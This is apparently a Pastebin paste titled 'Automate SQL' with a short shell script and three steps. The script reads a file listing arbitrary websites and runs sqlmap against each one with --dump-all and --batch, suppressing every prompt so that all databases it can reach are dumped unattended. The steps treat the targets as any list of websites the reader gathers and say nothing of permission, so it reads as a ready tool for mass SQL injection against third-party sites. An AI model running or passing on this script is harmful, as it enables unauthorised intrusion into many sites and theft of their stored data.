SHARE
TWEET

Automate SQL

vxpz Sep 20th, 2019 92 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 1. Just get a list of websites and save them to a file.
  2. 2. save this shell script to a file
  3. #!/bin/sh
  4.  
  5. #automating sqlmap
  6.  
  7. if [ -z $1 ];
  8.  
  9. then
  10.  
  11.         echo "specify a file"
  12.  
  13.         exit
  14.  
  15. fi
  16.  
  17.  
  18.  
  19. while IFS='' read -r line || [[ -n "$line" ]]; do
  20.  
  21.         sqlmap -u $line --dump-all --answers="follow=Y" --batch
  22. done < "$1"
  23.  
  24. 3. execute the shell script in your console with the name of the file with the list of websites you saved
  25.  
  26. (This script will suppress all the questions and may take longer than a normal sqlmap scan.)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top